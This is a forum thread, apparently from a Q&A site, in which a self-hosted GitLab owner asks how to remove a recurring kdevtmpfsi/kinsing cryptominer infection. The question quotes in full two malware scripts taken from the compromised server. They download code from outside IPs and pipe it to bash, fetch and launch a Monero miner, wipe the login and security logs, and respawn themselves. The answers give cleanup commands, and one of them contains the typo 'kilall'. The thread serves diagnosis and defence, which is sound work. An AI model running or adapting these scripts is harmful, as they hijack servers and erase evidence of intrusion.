How to to trace malware orignation on ubuntu server and stop it

Question

I have a ubuntu server with self hosted giltab-ce and two days ago my server started using 400% CPU. My hosting provider advised me to update my Gitlab (which was version 13.6.1), that I updated to 13.9. Still, periodically, there is some process that is starting running and uses more than all the CPU.

At the beginning, I was thinking this was the issue (because the hosting provider attached this link to the email): https://hackerone.com/reports/1154542

Then I saw that the process name was kdevtmpfsi and followed all answers of this question: kdevtmpfsi using the entire CPU

Still nothing helped, the scripts periodically starts over and over again after a few hours.

In /tmp/.ssh folder I found a redis.sh script with this content:

while true
do
    killall -q -9 kdevtmpfsi
    killall -q -9 kinsing
    killall -q -9 xmrig
    killall -q -9 xmr
    killall -q -9 qwer
    pkill -9 kthreaddk
    pkill -9 kwolker
    pkill -9 mini
    pkill -9 kacpi_notifyd
    pkill -9 vim
    pkill -9 mym
    pkill -9 network
    pkill -9 .libs
    pkill -9 javase
    pkill -9 libexec
    rm -rf /usr/lib/vmware-vsphere-ui/server/postgres
    rm -rf /usr/lib/vmware-vsphere-ui/server/postgres_start.sh
    rm -rf /usr/lib/vmware-vsphere-ui/server/kvm.sh
    rm -rf /usr/lib/vmware-vsphere-ui/server/elastic.sh
    rm -rf $HOME/postgres
    rm -rf $HOME/kvm.sh
    rm -rf $HOME/elastic.sh
    ps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
    ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kvm.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'elastic.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'wget' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'curl' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep -v 27.1 | grep -v 222.122 | grep 'urlopen' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'xmrig' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'xmr' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kthreaddk' | awk '{print $2}' | xargs -i kill -9 {}
    ps aux | grep -v grep | grep 'kthreaddi' | awk '{print $2}' | xargs -i kill -9 {}
    PROC_NAME=/tmp/system
    ProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`
    if [ $ProcNumber -le 0 ];then
        if hash curl 2>/dev/null;then
            curl http://135.125.217.87/stl.sh | bash >/dev/null 2>&1 &
        else
            python -c "import requests;url='http://165.227.239.108/stl.sh';tmp=requests.get(url);open('./static.sh','wb').write(tmp.content)"
            bash ./static.sh >/dev/null 2>&1 &
        fi
        break
    fi
done

I removed that file, created a blank one and gave only read permission.

The user that invokes this process is git. I stopped gitlab and deleted the git user.

Could you please advise me what to do next? What I would like to understand is the process that creates those files and cronjobs.

I'm trying everything but after a few hours the problem returns. What should I look for when it returns next time?

Edit: I found another file that I think is the one that is downloading the one I pasted on top.

dan@dan:~/$ cat stl.sh
rm -rf /var/tmp/*
rm -rf /tmp/*
killall -q -9 /var/tmp/.postgres/*
ps aux | grep -v grep | grep 'runnerbus' | awk '{print $2}' | xargs -i kill -9 {}
rm -rf /var/tmp/.postgres
rm -rf /tmp/.*
rm -rf /var/tmp/.*
rm -rf /etc/cron.hourly/oanacroner
rm -rf /etc/cron.hourly/oanacrona
rm -rf /etc/cron.daily/oanacroner
rm -rf /etc/cron.daily/oanacrona
rm -rf /etc/cron.monthly/oanacroner
rm -rf xmrig-6.13.1/
rm -rf xmrig-6.13.1-linux-x64.tar.gz
rm -rf $HOME/moneroocean/
rm -rf /var/tmp/moneroocean/
rm -rf /root/moneroocean/
rm -rf $HOME/c3pool/
rm -rf /tmp/.tmp/xlog
rm -rf /var/tmp/.postgres
rm -rf /tmp/kwolker
rm -rf /tmp/kdevtmpfsi
rm -rf /tmp/kinsing
rm -rf /tmp/libexec
rm -rf /tmp/mym
rm -rf /usr/bin/kinsing*
rm -rf /etc/cron.d/kinsing*
ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
ps aux | grep -v grep | grep '/var/tmp/.postgres_start/postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}
killall -q -9 workrun.sh
killall -q -9 /tmp/kwolker
killall -q -9 /tmp/mym
killall -q -9 xmr
killall -q -9 kdevtmpfsi
killall -q -9 kinsing
killall -q -9 xmrig
killall -q -9 minerd
killall -q -9 minerd
killall -q -9 xig
killall -q -9 cpuminer
pkill -9 kworker
pkill -9 kwolker
pkill -9 mym
sleep 1
if hash curl 2>/dev/null;then
    echo "has curl 1"
    curl --progress-bar http://135.125.217.87/static.c -o /tmp/system
else
    echo "haven't curl 1"
    python -c "import requests;url='http://135.125.217.87/static.c';tmp=requests.get(url);open('./system','wb').write(tmp.content)"
fi
chmod +x /tmp/system
mkdir /tmp/.ssh
echo > /var/log/wtmp
echo > /var/log/lastlog
echo >   /var/log/utmp
cat /dev/null >  /var/log/secure
cat /dev/null >  /var/log/message
sed  -i '/107.191.63.34/'d  /var/log/messages
sed -i 's/107.191.63.34/127.0.0.1/g' secure
/tmp/system -o 207.38.87.6:3333 -p $HOSTNAME -k -B --cpu-priority 5 -l /tmp/.ssh/xlog --randomx-1gb-pages >/dev/null 2>&1
sleep 1
if hash curl 2>/dev/null;then
    echo "has curl 2"
    curl http://135.125.217.87/stlalive.sh -o /tmp/.ssh/redis.sh
else
    mkdir /tmp/.ssh
    echo "haven't curl 2"
    python -c "import requests;url='http://135.125.217.87/stlalive.sh';tmp=requests.get(url);open('/tmp/.ssh/redis.sh','wb').write(tmp.content)"
fi
sleep 1
chmod +x /tmp/.ssh/redis.sh
nohup /tmp/.ssh/redis.sh >/dev/null 2>&1 &
rm -rf ./run.sh

I removed this file, created a new file with the same name only readable. Then I stopped all processes from git, removed git user again. Recofigured gitlab. It's 10 hours since no other attack.

Answer 1

I recently had this issue.

Searches if any user is executing any scheduled task.

You can do this using the following command:

for user in $(cut -f1 -d: /etc/passwd); do echo "> User: " $user; crontab -u $user -l; done

If you notice that the git user has a task, check what it is and if it is suspicious, delete it.

You can also check the .bashrc file of the git user and check if there is any line that executes the dbused command.

Answer 2

We also faced with this issue, please update first your GitLab to one of the versions:

13.10.3
13.9.6
13.8.8

After that clean crontab connected with git user and remove all the files owned by git user located in /tmp folder.

Now you can restart the server and it should be fine :)

Answer 3

In my case, I just removed gitlab completely from my server as I wasn't used but somehow it was installed during server setup. Surprisingly, kdevtmpfsi and kinsing malware have been removed.

Answer 4

Here is the solution I have found:

I noticed heavy load on my server caused by a process kthreaddk

I have learned that this malware is a crypto currency miner.

The owner was git and my system was comprimised because of a vulnerability in gitlab.

There were many running instances of kthreaddk. When I kill them all they were quickly respawning. I investigated how this happens and found that the malware is creating a copy of itself (an executable file) in a random folder and creating a cronjob that will fire every second for git user. So when you kill the processes they automatically respawn in a second. If you delete the cronjob, the running process (which is already in memory) creates another task in cronjob.

The solution I have found is putting the following lines in a batch file like remove-malware.sh, making it executable by running chmod +x ./remove-malware.sh and executing it by ./remove-malware.sh:

sudo kilall -u git
sudo crontab -u git -r

The first line kills all the processes started/belonging to git user. The second line removes all the cronjobs of git user.

But be careful! If you have critical processes running (which belongs to git user) they will be terminated. And any cronjob of git user will be wiped clean.

Answer 5

I want to add something to Uxie's answer.

you can go to https://yourgitlabsite/help to check if your Gitlab version is safe. "update asap" here means that you should update your Gitlab as soon as possible.